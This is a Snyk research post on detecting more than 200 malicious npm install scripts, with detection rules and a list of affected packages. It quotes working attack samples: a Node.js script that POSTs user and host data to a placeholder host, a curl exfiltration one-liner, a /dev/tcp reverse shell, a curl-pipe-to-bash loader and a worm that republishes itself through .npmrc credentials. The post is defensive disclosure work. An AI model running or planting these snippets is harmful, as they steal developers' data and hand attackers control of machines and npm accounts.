Snyk finds 200+ malicious npm packages, including Cobalt Strike dependency confusion attacks | Snyk


Snyk recently discovered over 200 malicious packages in the npm registry. While we acknowledge that vulnerability fatigue is an issue for developers, this article is not about the typical case of typosquatting or random malicious package. This article shares the findings of targeted attacks aimed at businesses and corporations that Snyk was able to detect and share the insights.

In this post, instead of explaining what dependency confusion is and why it has dramatical impact on the JavaScript ecosystem (and the npm registry in particular), we’re going to focus on what kind of approach Snyk uses and what malicious packages we were able to discover recently. If you need a primer on dependency confusion and the risks they present, we recommend reading up on Alex Birsan’s Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies, and Snyk’s own disclosure of a targeted attack dependency attack simulation caught red-handed.

Additionally, we want to talk about how bug bounty researchers and red teamers contribute to a polluted npm ecosystem, creating false security reports, and making the situation even more problematic than it had been before the rise of dependency confusion attack vectors.

Recently, many companies have focused on supply chain security, and a big part of it is malicious packages detection. And we have no doubt that npm got most of the attention. Internally, we had a lot of discussions about npm: can we do better than other vendors who regularly publish about low-impact malicious packages? We decided to give it a try and implement a simple approach just to see how many malicious packages we could detect this way. Then we had a long way of tuning the simple approach and eventually, after the 100th malicious package was added to Snyk’s Vulnerability Database, we knew we had to write about it. But first, let’s explore how one would find malicious packages on a registry like npm.

Finding malicious packages on the npm registry

First of all, we needed to define the scope and goals for this security research:

  1. We only focused on install-time malicious logic. So, only what is happening during npm install. Run-time malicious scripts are out of scope and going to be covered in a future case study.
  2. Keep the amount of false-positive signals should be manageable. We defined it as one security analyst should be able to sort all leads out in one working hour or less.
  3. The collector should be modular. It had evolved multiple times already and continues to do so. Some of the detection techniques were added and some deleted due to #2.
  4. As an initial approach, we decided to go with purely static analyses. We are going to cover the dynamic part in another publication.

It’s important to define what we count as malicious behavior. For example, opening a reverse shell or modifying files outside of the project folder is a malicious activity.

But we also believe that if a package exfiltrates any personal identifying information (or any data which may contain PII), it can be counted as malicious. For example:

  • A package sending machine GUID = not malicious – GUID does not contain any user personal data and is often used to count the unique number of installs of a package.
  • A package sending application folder path = malicious – Application folder paths usually contain the current user name (which may be real first and last name).

The structure of the underlying system consists from:

  1. Scraping logic to retrieve information about newly added and changed packages.
  2. Tagging logic to provide reasonable metadata to security analysts.
  3. Sorting logic to prioritize malicious package leads according to the previous step.

The output of the collector system are YAML files (serves as data points for leads), which are then handled by a security analyst and flagged as three possible options:

  • Good – Packages which have no suspicion. We use them as an example of non-malicious behavior.
  • Bad – Malicious packages.
  • Ignored – Packages which are probably not malicious, but the install-time behavior is too common or too complex to use it as a pattern for the future cases.

npm registry reconnaissance to gather package information

According to the first requirement we’ve set out, we need to handle all new and updated packages if they have any install-time scripts preinstallinstall, or postinstall.

The npm registry uses CouchDB under the hood. They conveniently expose CouchDB through replicate.npmjs.com for public consumption. So the data gathering part is as simple as polling the _changes endpoint in ascending order. Namely,

https://replicate.npmjs.com/_changes?limit=100&descending=false&since=<here is last event ID from the previous run>

allows you to get a list of updated and created packages starting from the event ID which we have from the previous collector run.

Additionally, we use endpoints https://registry.npmjs.org/ to retrieve metadata of each package from the list and https://api.npmjs.org/downloads to get the number of downloads of a package.

There is only one tricky part about the data gathering logic — we want to extract install-time scripts from a package tarball. An average npm package tarball weighs less than a megabyte, but they can be huge sometimes, even hundreds of megabytes. Fortunately, tar archives are structured in a way which allows us to implement a streaming approach. We simply download a package archive until we have the file we are looking for and then drop the connection, saving a lot of time and network traffic. We use the tar-stream npm package for that purpose. This is a good opportunity to send a shout out to Mathias Buus, who’s been a great contributor to the JavaScript and Node.js development, and a maintainer of many open source npm packages who are helping day to day developers.

Tagging malicious packages on the npm registry

At this point we have all the metadata about the package: version history, maintainer name, install-time scripts content, dependencies and so on. We can start to apply rules. Here I’m going to show some of the rules which, in my experience, were most effective:

  • bigVersion – If a package major version is more or equal to 90. In the dependency confusion attack, a malicious package to be downloaded should have a bigger version than the original one. As we will see later, malicious packages often have versions like 99.99.99.
  • yearNoUpdates – Package is updated for the first time over the year. This plays a key signal to determine if a package was not maintained for a while and then got compromised by a threat actor.
  • noGHTagLastVersion – New version of a package has no tag in a corresponding GitHub repository (although, previous version had it). This works for cases when an npm user was compromised, but not a GitHub user.
  • isSuspiciousFile – We have a set of regular expressions to detect potentially malicious install-time scripts. They work to detect common obfuscation techniques, usage of domains like canarytokens.com or ngrok.io, indication of IP addresses and so on.
  • isSuspiciousScript – A set of regular expressions to detect potentially malicious scripts in package.json file. For example, as we found out “postinstall: “node .” is often used in malicious packages.

The underlying system has implemented more tags, but the above serves as a good list to have a sense of how the collector logic looks like.

Sorting through the data of npm packages

We’d like to apply further automations to the process, instead of manual review by security analysts. If an install-time script was already classified as good or bad in the past, we automatically classify new cases as good or bad accordingly. This mainly works for non-malicious behavior cases like “postinstall”: “webpack” or “postinstall”: “echo thanks for using please donate” and helps to reduce noise levels.

Further, we prioritize certain tags to be handled before others because they give better true-positive signal rate. Namely isSuspiciousFile and isSuspiciousScript have the highest priority.

Manual security analysis

The last step of the detection process is manual analysis. It also goes in several stages:

  1. Verify automatically sorted and high-priority leads. They are most likely malicious. Go through unsorted leads one-by-one aiming to detect new rules for malicious or non-malicious cases.
  2. Update the collector logic according to #2.
  3. Add each malicious package to the Snyk Vulnerability Database.
  4. In some cases, like gxm-reference-web-auth-server, if a package seems to have unusual malicious logic, an analyst will spend more time to deeply analyze and share the insights with the community and Snyk’s users.

This flow allows us to improve the collector every day and automate the process.

Which malicious packages on npm were we able to detect?

To this date, the system has already yielded results for more than 200 npm packages that are absolutely true-positive detection, and also serve as a viable dependency confusion attack threat. We’d like to further categorize these findings and demonstrate various behaviors and concepts that have been taken by attackers.

Malicious packages which perform data exfiltration

One of the most common types of malicious packages is data exfiltration over HTTP or DNS requests. It is often a modified copy-pasted version of the original script used in the dependency confusion research. Sometimes they have comments like “this package is used for research purposes” or “no sensitive data is retrieved” but don’t let it fool you — they get PII and send it over the network which should never happen.

Typical example of such package from Snyk’s finding:

const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name; const trackingData = JSON.stringify({ p: package, c: __dirname, hd: os.homedir(), hn: os.hostname(), un: os.userInfo().username, dns: dns.getServers(), r: packageJSON ? packageJSON.___resolved : undefined, v: packageJSON.version, pjson: packageJSON,
}); var postData = querystring.stringify({ msg: trackingData,
}); var options = { hostname: "<malicious host>", port: 443, path: "/", method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded", "Content-Length": postData.length, },
}; var req = https.request(options, (res) => { res.on("data", (d) => { process.stdout.write(d); });
}); req.on("error", (e) => { // console.error(e);
}); req.write(postData);
req.end();

We’ve seen attempts of exfiltration of the following information (sorted from relatively harmless to most dangerous):

  • Current user name
  • Home directory path
  • Application directory path
  • List of files in various folders like home or application working directory
  • Result of ifconfig system command
  • Application package.json file
  • Environment variables
  • The .npmrc file

One interesting addition to this group of malicious packages is those that have the install script like npm install https://<malicious host>/tastytreats-1.0.0.tgz?yy=npm get cache. Clearly it exfiltrates the npm cache directory path (which is usually in the home folder of the current user), but additionally it installs a package from an external source. From our experience this external sourced package is always just a dummy package without any logic or files, but maybe it has regional or other conditions on the server side, or after a certain amount of time it will become a cryptominer or trojan.

In some cases, we saw evidence of bash scripts such as:

DETAILS="$(echo -e $(curl -s ipinfo.io/)\\n$(hostname)\\n$(whoami)\\n$(hostname -i) | base64 -w 0)"
curl "https://<malicious host>/?q=$DETAILS"

The above exfiltrates public IP address info, hostname, and user name.

Malicious packages which spawn a reverse shell

Another common type of malicious packages attempts to spawn a reverse shell, which means that the targeted machine connects to a remote server owned by an attacker, and allows for remote control by them. These can be as simple as the following:

/bin/bash -l > /dev/tcp/<malicious IP>/443 0<&1 2>&1;

Or more complex implementations using net.Socket or other connection methods.

The main challenge with this category is that though the logic looks simple, actual malicious behavior is completely hidden behind a hacker’s server side. That said, one can see the impact — a hacker can take full control of the computer where the malicious package is installed.

We decided to execute one of the packages like this in a sandbox and the commands we recorded were the following:

  1. nohup curl -A O -o- -L https://<malicious IP>/dx-log-analyser-Linux | bash -s &> /tmp/log.out& – download and run script from the malicious server.
  2. The script downloaded from the malicious server added itself to the /tmp directory and started to poll itself every 10 seconds waiting for updates from the remote attacker.
  3. After a certain amount of time it downloaded a binary file which, according to VirusTotal, is a Cobalt Strike trojan.

The use of trojans in malicious npm packages

In this category ,we have various packages which install and run various command and control agents. Sharing more about these is beyond the scope of the article, so instead, we recommend you read our recent article about detailed reverse engineering of the gxm-reference-web-auth-server package. While that article lays out the findings of how ethical hackers have performed their red team ethical research, it is still a good example of what lies within npm packages in this category of malicious dependency confusion attacks. Also, it’s a cool example of catching a red team in action.

In another interesting case, we checked for system calls from the sandbox and one was catching our attention: it spawned a detached process and executed a wait call for 30 minutes. And only then did it start its malicious activity.

Finding pranks and protests in npm packages

In March we wrote a publication about protestware npm packages. But in addition to protestware we observed various attempts to open YouTube or NSFW videos and other websites in your browser, or even add it as a command to your .bashrc file.

The sample code can be as simple as open https://www.youtube.com/watch?v=<xxx> in the postinstall script or shell.exec(echo '\nopen https://<NSFW website>' >> ~/.bashrc) in an install-time JavaScript file.

Another potentially harmful example of a malicious package that we detected during this investigation is a package which detects if you have an .npmrc file, and if so, it executes npm publish creating its own copy on behalf of your npm user. As you can see, it acts like a worm and, in some circumstances, can become a real threat.

const fs = require('fs')
const faker = require('faker')
const child_process = require('child_process')
const pkgName = faker.helpers.slugify(faker.animal.dog() + ' ' +
faker.company.bsNoun()).toLowerCase()
let hasNpmRc = false
const read = (p) => { return fs.readFileSync(p).toString()
}
try { const npmrcFile = read(process.env.HOME + '/.npmrc') hasNpmRc = true
} catch(err) {
}
if (hasNpmRc) { console.log('Publishing new version of myself') console.log('My new name', pkgName) const pkgPath = __dirname + '/package.json' const pkgJSON = JSON.parse(read(pkgPath)) pkgJSON.name = pkgName fs.writeFileSync(pkgPath, JSON.stringify(pkgJSON, null, 2)) child_process.exec('npm publish') console.log('DONE')
}

Conclusions and recommendations

At Snyk, everyday we work to make open source software ecosystems more secure. Today, we shared a couple variations of malicious npm packages but it is certainly not a comprehensive list. Our research showed that the npm ecosystem is actively used to perform various supply chain attacks. We recommend you to use tools like Snyk to protect you as a developer and maintainer, as well as your applications and projects.

If you are a bug bounty hunter or red teamer and need to publish an npm package to perform recon activity, we recommend that you follow npm’s terms of service and legal guidelines, and in any case, do not exfiltrate any PII and explicitly define the purpose of the package either in source code comments or in package description. We observed a couple of legitimate research packages which were sending unique machine identifiers like node-machine-id

Start your free trial of Snyk Open Source and be the first to know about vulnerabilities and malicious packages.

Summary of affected packages as of publication

As a summary, we’d like to publish the list of packages we were able to detect. Some, or perhaps most, at this point, are already deleted from the npm registry, but some exist still to the date of publishing this research.

git-en-boite-core@seller-ui/products
git-en-boite-appinsomnia-plugin-simple-hmac-auth
selenium-applitoolsapi-extractor-test-01
@tilliwilli/npm-lifecyclesvfdp-ui-framework
klook-node-frameworknext-plugin-normal
klook-node-framework-affiliate@iwcp/nebula-ui
klook-tetris-serverreact-dom-router-old
klook-uireact-dom-router-compatibility
logquerynode-hawk-search
@klooks/klook-node-frameworkual-content-page
schema-rendernpm_test_nothing
tetris-scriptslbc-git
klook-node-framework-languageangieslist-composed-components
klook-node-framework-countryangieslist-gulp-build-tasks
klook-node-framework-currencyonepassword_events_api
klook-node-framework-deviceon-running-script-context
klook-node-framework-loggerokbirthday2015
klook-node-framework-siteoidc-frontend
klook-node-framework-experimentnucleus-wallet
klook-node-framework-cachevideojs-vtt
executables.handler@commercialsalesandmarketing/contact-search
tracer.nodecap-common-pages
state.aggregatorcoldstone-helpers
rce-techroomrainbow-bridge-testing
acronis-ui-kitnpm-exec-noperm
activity-iframe-sdknpmbulabula
angieslist-visitor-app-commonnozbedesktop
uitk-react-ratingnodejs-email
ldtzstxwzpntxqnplugin-welcome
gxm-reference-web-auth-serverpolymer-shim-styles
lznfjbhurpjsqmrlexical-website-new
npm_protect_pkgpaper-toolbar
com.unity.xr.oculuspaytm-kafka-rest
katt-utilphoenix.site
workspace-hoist-allassets-common
qjwtbolt-styles
bigid-permissionsphub-dl
@uc-maps/api.reactapi-extractor-test-01
@uc-maps/testadroit-websdk-client
@uc-maps/test1f0-utils
@uc-maps/boundaries-core.reactadroit-f0-components
@uc-maps/geospatialelysium-ui
@uc-maps/layer-select.reactportail-web
@uc-maps/maps.reactpostinstall-dummy
@uc-maps/parcel-shapesthreatresponse
wf_ajaxpratikyadavh1
wf_apncap-products
wf_storagepromoaline
wf_schedulerpromohline
bigid-filter-recursive-parserpromofline
bigid-query-object-serializationpromoimmo
yo-code-dependencies-versionspromohlineupselling
abchdefntofknacuifntpromotemplate
generator-code-dependencies-versionsptmproc
@visiology-public-utilities/language-utilsquick-app-guide
fincorazer-xdk
azure-linux-toolsepic-games-self-service-portal
com.unity.xr.oculuspg-ng-popover
@uieng/messaging-apipco_api
jptest1lyft-avidl
pegjs-override-actionholvipartners
jinghuan-jsbstripe-connect-rocketrides
kntl-digital3flake8-holvi
@sorare-marketplace/componentsvolgactf
fc-gotchamb-blog
com.unity.searcherorangeonion.buildtools
xo-localesixt
gatsby-plugin-added-by-parent-themer3corda
gulp-browserify-thingot-hacked
eslint-plugin-seller-ui-eslint-pluginqweasdzxc
@seller-ui/settings